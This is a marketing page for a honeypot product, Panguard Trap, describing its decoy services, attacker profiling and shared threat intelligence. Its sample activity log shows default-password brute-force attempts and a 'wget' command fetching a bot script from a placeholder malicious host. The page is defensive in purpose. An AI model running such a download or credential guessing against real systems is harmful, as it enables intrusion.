Panguard Trap

Intelligent honeypots. Know your attackers.

Turn the tables. Let attackers reveal themselves while your real systems stay protected.

The Problem

Defensive security is reactive. You are always one step behind.

Traditional security waits for attackers to hit your real systems before responding. By then, you are already at a disadvantage. You do not know what tools they are using, what they are looking for, or how sophisticated they are. You are defending blind.

Panguard Trap flips the script. It deploys realistic decoy services that attract attackers and capture their every move. While they waste time on fake targets, you gather intelligence that makes your real defenses stronger. The attacker becomes the informant.

How It Works

Attract. Observe. Learn.

01

Deploy

Panguard Trap identifies unused ports and deploys realistic decoy services automatically.

02

Attract

Attackers scanning your network discover the honeypots and interact with them, thinking they are real.

03

Capture

Every command, file upload, and lateral movement attempt is recorded in a sandboxed environment.

04

Analyze

AI classifies the attack, profiles the attacker, and extracts indicators of compromise (IOCs).

05

Share

Anonymized threat intelligence is pushed to the collective network, strengthening every Panguard user.

Trap Activity Log
03:12:41Honeypot SSH (port 2222) connection from 185.220.xx.xx
03:12:43Brute-force attempt: root/admin123
03:12:44Brute-force attempt: root/password
03:12:47Login succeeded (honeypot credentials)
03:12:49Command: uname -a
03:12:51Command: wget http://malicious.xx/bot.sh
03:12:52File captured: bot.sh (SHA256: 8a3f...)
03:12:55Attacker profile: automated scanner, low sophistication
03:12:56IOC submitted to collective intelligence

Features

What Panguard Trap does.

Proactive threat intelligence that makes your defenses smarter every day.

8 Honeypot Types

SSH, HTTP, FTP, SMB, MySQL, RDP, Telnet, and Redis. Panguard Trap deploys realistic decoy services on unused ports. Each honeypot type mimics real service behavior to capture attacker techniques.

Attacker Profiling

Every interaction is logged in detail: tools used, commands executed, files uploaded, lateral movement attempts. AI classifies attacker skill level (script kiddie, intermediate, advanced), intent, and tool signatures.

Collective Threat Intelligence

Attack patterns captured by your traps are anonymized and contributed to the Panguard collective intelligence network via the Threat Cloud API. Your data protects every other user -- and theirs protects you.

AI-Powered Analysis

Captured attacker sessions are analyzed by Panguard's AI to classify attack types, estimate sophistication levels, and identify whether the attacker is an automated scanner or a human operator.

Flexible Deployment

Choose which honeypot services to deploy based on your threat landscape. Running a web server? Deploy HTTP and MySQL traps. Seeing SSH probes? Add an SSH honeypot. Configure the service mix to match your environment and gather the most relevant intelligence.

Zero Risk to Production

Honeypots are completely isolated from your production environment. They run in sandboxed containers with no access to real data, real services, or real network segments. Attackers waste their time on decoys.

Use Cases

Who uses Panguard Trap.

Threat Researcher

You want to understand what attackers are doing to systems like yours. Deploy Panguard Trap and receive detailed reports on attacker behavior, tools, and techniques. Use the intelligence to harden your real systems.

Security Team

Your team uses honeypot data to train detection models and validate security controls. Panguard Trap provides a continuous stream of real attacker behavior that is far more valuable than synthetic test data.

Compliance Requirement

Some compliance frameworks require active threat detection beyond passive monitoring. Honeypots demonstrate proactive security posture to auditors and provide evidence of continuous threat awareness.

Stop guessing. Start knowing.

Deploy intelligent honeypots and turn attacker activity into actionable intelligence.